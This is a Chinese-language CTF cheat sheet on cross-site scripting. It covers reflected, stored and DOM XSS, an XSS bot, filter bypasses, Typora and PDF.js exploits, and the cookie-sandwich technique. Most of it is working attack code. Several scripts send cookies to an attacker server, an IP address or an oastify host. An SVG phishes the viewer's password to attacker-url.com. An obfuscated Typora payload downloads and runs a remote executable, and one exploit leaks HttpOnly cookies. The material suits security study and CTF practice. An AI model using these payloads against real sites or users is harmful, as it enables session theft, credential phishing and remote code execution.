前言
关于这个的总结好像不是特别多,偏偏国外赛以及一些联合战队的比赛也爱出这个(
遂整理一点东西出来
介绍:
这是一种将任意 Javascript 代码插入到其他 Web 用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在 HTML 页面里嵌入恶意代码。当用户浏览该页时,这些潜入在 HTML 中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie 窃取等。
分类:
反射型 XSS:**<非持久化>** 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一次性,所见即所得,一般容易出现在搜索页面。
存储型 XSS:**<持久化>** 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种 XSS 非常危险,容易造成蠕虫,大量盗窃 cookie(虽然还有种 DOM 型 XSS,但是也还是包括在存储型 XSS 内)。
DOM 型 XSS:基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。DOM 是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM 中有很多对象,其中一些是用户可以操纵的,如 uri,location,refelTer 等。客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得 DOM 中的数据在本地执行,如果 DOM 中的数据没有经过严格确认,就会产生 DOM XSS 漏洞。
查询接口一般容易出现反射型 XSS,留言板容易出现存储型 XSS
基础
JavaScript
菜鸟教程:https://www.runoob.com/js/js-tutorial.html
最基本的 js 语句
<script>function()</script>
当页面载入完毕后执行 Javascript 代码
<body onload="myFunction()"></body>
DOM
document.cookie
获取 cookie
这里演示一种最基本的 xss 方法
<script>window.alert(document.cookie)</script>
document.cookie=
设置 cookie
<script>document.location.href='http://vps:port/XSS.php?1='+document.cookie</script>
转发语句,触发之后就会跳转到我们的 vps 的 http 服务并执行脚本写入文件带出 cookie
<?php
$content=$_GET[1];
if(isset($content)){
file_put_contents('flag.txt',$content);
}else{
echo 'no data input';
}
当然也可以直接 vps 上 nc 监听,javascript 用 fetch 请求
<script>fetch('http://192.168.173.251:666/'+document.cookie);</script>
甚至可以用 dnslog 接收
<script>fetch('http://q1sje7nttyar1hl3gyc6xqud54bvzlna.oastify.com/?a='+document.cookie);</script>
编写 XSS Bot
https://blog.csdn.net/diecai2192/article/details/102118060
Nodejs puppeteer
app.get('/botview', (req, res) => {
const content = req.query.content || '';
res.send(`
<div>${content}</div>
`);
});
async function visitAsBot(content) {
try {
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox'],
});
const page = await browser.newPage();
await page.setCookie({
name: 'flag',
value: FLAG,
domain: 'localhost',
path: '/'
});
await page.goto(`http://localhost:3000/botview?content=${encodeURIComponent(content)}`, {waitUntil: 'networkidle2'});
await sleep(3000);
await browser.close();
} catch (err) {
console.log(err);
}
}
启动无头 nosandbox 浏览器,新建页面,添加 cookie,然后跳转访问页面
常见payload
https://github.com/payloadbox/xss-payload-list/tree/master
<script>alert(1)</script>
<body onload="alert(1)"></body>
<svg onload="alert(1)"></svg>
<input onfocus="alert(1)" autofocus></input>
<iframe onload="alert(1)"></iframe>
<img src onerror="alert(1)">
<script>window['alert']('1')</script>
<iframe srcdoc="<script src='/**/alert(1)//'></script>"></iframe>
反射型 XSS
404
喜欢重写 404 的小朋友们你们好啊,我是 xss(
直接在 html 上输出可控内容是危险的设计
<?php theme_include('header'); ?>
<section class="content wrap">
<h1>Page not found</h1>
<p>Unfortunately, the page <code>/<?php echo current_url(); ?></code> could not be found. Your best bet is either to try the <a href="<?php echo base_url(); ?>">homepage</a>, try <a href="#search">searching</a>, or go and cry in a corner (although I don’t recommend the latter).</p>
</section>
<?php theme_include('footer'); ?>
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
app.use((req, res) => {
res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面
存储型 XSS
https://www.freebuf.com/articles/web/261918.html
svg
可能出现在支持上传 svg 图片的头像处
可尝试构造 svg 文件,如果能够访问则会触发 xss
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009901" stroke="#004400"/>
<script type="text/javascript">
alert(1);
</script>
</svg>
带外
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script>
var passwd = prompt("Enter your password to continue");
var xhr = new XMLHttpRequest();
xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
xhr.send();
</script>
</svg>
pdf 支持嵌入 javascript,那么就有说法了
福昕Foxit PDF(CVE-2023-27363)
强网杯 S8 Final 整了个类似的,但是要求一步到位
https://github.com/webraybtl/CVE-2023-27363
https://github.com/CN016/-Foxit-PDF-CVE-2023-27363-
https://blog.csdn.net/C20220511/article/details/131397568
PDF.js(CVE-2024-4367)
当 PDF.js 配置 isEvalSupported 选项设置为 true(默认值)时,会将输入传递到特定函数
影响版本:
- Mozilla PDF.js <4.2.67
- pdfjs - dist (npm) < 4.2.67
- react - pdf (npm) < 7.7.3 以及 8.0.0 <= react - pdf (npm) < 8.0.2
https://github.com/Zombie-Kaiser/cve-2024-4367-PoC-fixed
python3 CVE-2024-4367.py "alert(1);"
让 pdf.js 预览生成的 pdf
如果有使用这些版本 pdf.js 的客户端,则可以考虑 RCE
python3 CVE-2024-4367.py "require('child_process').exec('calc');"
markdown(CVE-2023-2317 Typora RCE)
https://www.freebuf.com/articles/others-articles/376873.html
Typora < 1.6.7
<embed src="typora://app/typemark/updater/updater.html?curVersion=a&newVersion=b&releaseNoteLink=c&hideAutoUpdates=false&labels=[%22%22,%22%3Csvg%2Fonload%3Dtop.eval(%60reqnode('child_process').exec('calc')%60)%3E%3C%2Fsvg%3E%22,%22%22,%22%22,%22%22,%22%22]">
可换成 cs 马
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NlcnR1dGlsLmV4ZSAtdXJsY2FjaGUgLXNwbGl0IC1mIGh0dHA6Ly8xOTIuMTY4LjE0Mi4xMjg6ODk5Mi8xMjEyLmV4ZSAxMjEyLmV4ZSAmJiAxMjEyLmV4ZScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
常规过滤
空格替换:/**/
,%09
(tab),%0c
(换页符),/
大小写绕过:<sCRipT>
String.fromCharCode()
:将 UTF-16 编码转换为一个字符
document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));
eval()
:将传入的字符串当做 JavaScript 代码进行执行,支持十六进制字符串
<body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")>
<!--document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,47,47,120,115,46,115,98,47,89,84,85,104,62,60,47,115,67,82,105,112,84,62));
十六进制字符串生成:
a= "<sCrIpt srC=//xs.sb/YTUh></sCRipT>"
res = ''
res2 = ''
for i in a:
tmp = ord(i)
res += str(tmp)
res+=","
res2 +=f"document.write(String.fromCharCode({str(tmp)}));"
# print(res)
# print(res2)
#-------------生成脚本分为上下2个,上面的是生成没过滤.的脚本---------------
a = "646f63756d656e742e777269746528537472696e672e66726f6d43686172436f64652836302c3131352c36372c3131342c37332c3131322c3131362c33322c3131352c3131342c36372c36312c34372c34372c3132302c3131352c34362c3131352c39382c34372c38392c38342c38352c3130342c36322c36302c34372c3131352c36372c38322c3130352c3131322c38342c363229293b"
z = 0
res = ''
for i in a:
if z ==2:
z=0
if z ==0:
res+=r"\x"
res += i
z+=1
print(res)
CSP
见另一篇博客 《CSP》
httpOnly
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/Cookies
JavaScript
Document.cookie
API 无法访问带有HttpOnly
属性的 cookie
cookie sandwich technique
https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique
降级 cookie 解析器
https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
关于 http cookie 的标准,第一个是 RFC 2109(尽管现代浏览器不支持,但是许多 web 服务器仍然支持):
Cookie: $Version=1; foo="bar"; $Path="/"; $Domain=abc;
$Version
是必须指定的属性,用于标识 cookie 规范的版本,而 $Version=1
这个标准下,在用双引号括起来时,一个 cookie 值可以包含空格、分号和等号
现代语言框架中对 cookie 头的解析:
Flask: {"foo":"bar","$Version":"1","$Path":"/","$Domain":"abc"}
Django: {"foo":"bar","$Version":"1","$Path":"/","$Domain":"abc"}
PHP: {"foo":"\"bar\"","$Version":"1","$Path":"\"\/\"","$Domain":"abc"}
Ruby: {"foo":"\"bar\"","$Version":"1","$Path":"\"\/\"","$Domain":"abc"}
Spring: { "foo": "\"bar\""}
SimpleCookie: { "foo": "bar"}
很明显它们的解析方式并没有统一
在 SpringBoot 2 + Apache Tomcat v.9.0.83 中,对于 cookie 的处理方式如下:
- 能够处理 RFC6265 和 RFC2109 ,如果字符串以
$Version
属性开头,则默认使用旧版解析逻辑 - 如果 cookie 值以双引号开头,它将继续读取字符直到下一个未转义的双引号,即值为双引号括起来的内容。
- 支持
$Path
和$Domain
属性,如果在响应之前未正确检查反射的 cookie 属性,则可能允许用户更改反射的 cookie 属性,并且解析器将取消转义任何以反斜杠 (\) 开头的字符
效果如下:
Cookie: $Version=1; foo="\b\a\r"; $Path=/abc; $Domain=example.com
Set-Cookie: foo="bar"; Path=/abc; Domain=example.com
可以看到原先的 \b\a\r
被重新设置为了 bar
,在绕过 waf 上初见端倪
在 Python 的 SimpleCookie 中,键值对支持旧版 cookie 属性,那么就和上面一样可以注入旧版 cookie 属性来取消转义绕过某些限制。
而所有基于 Python 的框架(Flask、Django 等)都允许带引号的 cookie 值,但是无法识别 $Version
一类的 magic string,会将其视为普通的 cookie 名,并且会自动解码带引号的字符串中的八进制转义序列:
"\012" <=> \n
"\015" <=> \r
"\073" <=> ;
实际绕过 waf 的利用在参考文章中讲得很明白了,我们的首要目标是解决 httpOnly,所以略过
Cookie sandwich
现代的 Chrome 浏览器(包括 xssbot 在内)不支持旧版 cookie,因此攻击者可以创建以 $
开头的 Cookie 名称,例如 $Version
,浏览器只会视为普通字符串;而前面提过,旧版 cookie 支持双引号括起来的部分为整个字符串,那么就可以构造下面这样一个 cookie:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
此时的请求和响应会变成这样:
GET / HTTP/1.1
Cookie: $Version=1; param1="start; sessionId=secret; param2=end"
HTTP/1.1 200 OK
Set-Cookie: param1="start; sessionId=secret; param2=end";
可以看到响应的 cookie 是 param1 ,其值为 start; sessionId=secret; param2=end
如果应用程序在响应中能够返回一个可控的 cookie 键如这里的 param1 或者没有设置 httpOnly,那么即使是 httpOnly 会话里的整个 cookie 都可以被括起来视为字符串公开出来
exp:
async function sandwich(target, cookie) {
// Step 1: Create an iframe with target src and wait for it
const iframe = document.createElement('iframe');
const url = new URL(target);
const domain = url.hostname;
const path = url.pathname;
iframe.src = target;
// Hide the iframe
iframe.style.display = 'none';
document.body.appendChild(iframe);
// Optional: Add your code to check and clean client's cookies if needed
iframe.onload = async () => {
// Step 2: Create cookie gadget
document.cookie = `$Version=1; domain=${domain}; path=${path};`;
document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;
// Step 3: Send a fetch request
try {
const response = await fetch(`${target}`, {
credentials: 'include',
});
const responseData = await response.text();
// Step 4: Alert response
alert(responseData);
} catch (error) {
console.error('Error fetching data:', error);
}
};
}
setTimeout(sandwich, 100, 'http://example.com/json', 'session');